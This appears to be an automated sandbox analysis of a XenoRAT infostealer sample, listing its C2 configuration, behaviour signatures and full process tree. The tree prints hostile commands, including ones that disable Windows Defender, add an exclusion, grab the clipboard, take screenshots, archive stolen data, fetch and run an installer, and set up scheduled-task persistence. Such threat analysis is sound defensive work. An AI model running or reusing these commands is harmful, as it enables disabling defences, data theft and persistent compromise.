Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
07/12/2024, 02:23
General
- Target 363108d651fdaa2b799b73018a910f9c55fbbb7025761eabb37a673d5650542d.exe
- Size 31.0MB
- Sample241207-cvndra1jfy
- SHA256 363108d651fdaa2b799b73018a910f9c55fbbb7025761eabb37a673d5650542d
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe
Extracted
-
xenorat
-
96.126.118.61
-
lokai_je_bruh_1337
-
delay
5000
-
install_path
appdata
-
port
4444
-
startup_name
Usermode Disk Driver Host
Signatures
- XenorRat
XenorRat is a remote access trojan written in C#.
- Xenorat family
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
- Downloads MZ/PE file
- Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Drops startup file 1 IoCs
- Executes dropped EXE 6 IoCs
- Loads dropped DLL 49 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 14 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\363108d651fdaa2b799b73018a910f9c55fbbb7025761eabb37a673d5650542d.exe"C:\Users\Admin\AppData\Local\Temp\363108d651fdaa2b799b73018a910f9c55fbbb7025761eabb37a673d5650542d.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAcgBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZwBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAagBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAZgBzACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Minecraft Checker.exe"C:\Users\Admin\AppData\Local\Temp\Minecraft Checker.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3800 -s 8923⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe"C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\onefile_4344_133780118610320967\obfs.exe"C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\Admin\AppData\Local\Temp\tmpd5byfdmh.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath "4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\tmpd5byfdmh.exe"C:\Users\Admin\AppData\Local\Temp\tmpd5byfdmh.exe" /quiet InstallAllUsers=1 PrependPath=1 Include_test=04⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\{729E98B7-4529-4EE6-870F-5514E6C6333A}\.cr\tmpd5byfdmh.exe"C:\Windows\Temp\{729E98B7-4529-4EE6-870F-5514E6C6333A}\.cr\tmpd5byfdmh.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\tmpd5byfdmh.exe" -burn.filehandle.attached=648 -burn.filehandle.self=688 /quiet InstallAllUsers=1 PrependPath=1 Include_test=05⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Admin\AppData\Local\Temp\ibVxS7.ps1"4⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Admin\AppData\Local\Temp\ibVxS7.ps15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c " powershell.exe -nop -w hidden -encodedCommand UwBFAFgAIAAkAFsARQBtAGIAZABkAF0AIAAtAFMAbwB1AHIAYwBlACAAVwBpAG4AZABvAHcAcwAuAE0AaQBzAGMAcgBvAHMAbwBmAHQALgBJAE4AVwA7ACAASQBuAHQAUwBUAFIAdQBDAFQAIABbAFMAbwBjAGsAZQB0AF0AIAAtAEUAdgBlAG4AdAAgAE4AYQBtAGUAZAAgAEUAVgBBAEsAUwBQAF8AQgB5AHAAQQBTAFMAMAA= "4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\obfs.py'"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\obfs.py'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Clipboard Data
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$bitmap = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height);$graphics = [System.Drawing.Graphics]::FromImage($bitmap);$graphics.CopyFromScreen([System.Drawing.Point]::Empty, [System.Drawing.Point]::Empty, $bitmap.Size);$bitmap.Save('C:\Users\Admin\AppData\Local\Temp\Rumburak\Screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$bitmap = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height);$graphics = [System.Drawing.Graphics]::FromImage($bitmap);$graphics.CopyFromScreen([System.Drawing.Point]::Empty, [System.Drawing.Point]::Empty, $bitmap.Size);$bitmap.Save('C:\Users\Admin\AppData\Local\Temp\Rumburak\Screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Rumburak\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\GB_YEdi96VFf.zip' -Force""4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Rumburak\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\GB_YEdi96VFf.zip' -Force"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Usermode Disk Driver Host.exe"C:\Users\Admin\AppData\Local\Temp\Usermode Disk Driver Host.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "Usermode Disk Driver Host" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE678.tmp" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3800 -ip 38001⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Window
1Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
Minecraft Checker.exe
_raw_cbc.pyd
_ctypes.pyd
_hashlib.pyd
cacert.pem
Runtime Broker.exe
Usermode Disk Driver Host.exe
__PSScriptPolicyTest_ili5qx1y.413.ps1
_raw_cfb.pyd
_raw_ecb.pyd
_raw_ofb.pyd
_asyncio.pyd
_bz2.pyd
_cffi_backend.pyd
_decimal.pyd
_lzma.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
md.pyd
md__mypyc.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
obfs.exe
python312.dll
select.pyd
unicodedata.pyd
vcruntime140.dll
vcruntime140_1.dll
backend_c.pyd
SideBar.png
memory/2732-232-0x0000000000B70000-0x0000000001728000-memory.dmp
memory/2732-80-0x0000000000B70000-0x0000000001728000-memory.dmp
memory/2732-82-0x0000000000B70000-0x0000000001728000-memory.dmp
memory/2732-46-0x0000000000B70000-0x0000000001728000-memory.dmp
memory/3800-60-0x00000000731F0000-0x00000000739A0000-memory.dmp
memory/3800-23-0x00000000055D0000-0x0000000005662000-memory.dmp
memory/3800-24-0x00000000731F0000-0x00000000739A0000-memory.dmp
memory/3800-21-0x0000000000D40000-0x0000000000D7E000-memory.dmp
memory/4064-442-0x000001BE7CFB0000-0x000001BE7CFC2000-memory.dmp
memory/4064-443-0x000001BE7CE10000-0x000001BE7CE1A000-memory.dmp
memory/4344-83-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4344-86-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4344-87-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4344-246-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4344-230-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4344-465-0x00007FF7A5010000-0x00007FF7A6AE4000-memory.dmp
memory/4436-441-0x00007FF7A6BA0000-0x00007FF7A9DD0000-memory.dmp
memory/4436-233-0x00007FF7A6BA0000-0x00007FF7A9DD0000-memory.dmp
memory/4436-451-0x00007FF7A6BA0000-0x00007FF7A9DD0000-memory.dmp
memory/4512-228-0x0000020CEE900000-0x0000020CEE922000-memory.dmp
memory/4680-57-0x00000000055E0000-0x0000000005646000-memory.dmp
memory/4680-64-0x00000000749B0000-0x00000000749FC000-memory.dmp
memory/4680-62-0x0000000005C60000-0x0000000005CAC000-memory.dmp
memory/4680-61-0x0000000005BC0000-0x0000000005BDE000-memory.dmp
memory/4680-122-0x0000000007230000-0x000000000724A000-memory.dmp
memory/4680-59-0x0000000005820000-0x0000000005B74000-memory.dmp
memory/4680-58-0x0000000005790000-0x00000000057F6000-memory.dmp
memory/4680-89-0x0000000007140000-0x0000000007154000-memory.dmp
memory/4680-52-0x0000000005440000-0x0000000005462000-memory.dmp
memory/4680-151-0x0000000007210000-0x0000000007218000-memory.dmp
memory/4680-45-0x00000000731F0000-0x00000000739A0000-memory.dmp
memory/4680-25-0x0000000004CA0000-0x00000000052C8000-memory.dmp
memory/4680-26-0x00000000731F0000-0x00000000739A0000-memory.dmp
memory/4680-75-0x0000000006DC0000-0x0000000006E63000-memory.dmp
memory/4680-22-0x0000000004630000-0x0000000004666000-memory.dmp
memory/4680-74-0x0000000006D90000-0x0000000006DAE000-memory.dmp
memory/4680-63-0x0000000006B50000-0x0000000006B82000-memory.dmp
memory/4680-20-0x00000000731FE000-0x00000000731FF000-memory.dmp
memory/4680-156-0x00000000731F0000-0x00000000739A0000-memory.dmp
memory/4680-77-0x0000000006EF0000-0x0000000006F0A000-memory.dmp
memory/4680-76-0x0000000007540000-0x0000000007BBA000-memory.dmp
memory/4680-88-0x0000000007130000-0x000000000713E000-memory.dmp
memory/4680-81-0x0000000006F70000-0x0000000006F7A000-memory.dmp
memory/4680-84-0x0000000007170000-0x0000000007206000-memory.dmp
memory/4680-85-0x00000000070F0000-0x0000000007101000-memory.dmp
memory/4836-1-0x0000000076FE4000-0x0000000076FE6000-memory.dmp
memory/4836-3-0x0000000000400000-0x0000000002758000-memory.dmp
memory/4836-2-0x0000000000400000-0x0000000002758000-memory.dmp
memory/4836-43-0x0000000000400000-0x0000000002758000-memory.dmp
memory/4836-0-0x0000000000400000-0x0000000002758000-memory.dmp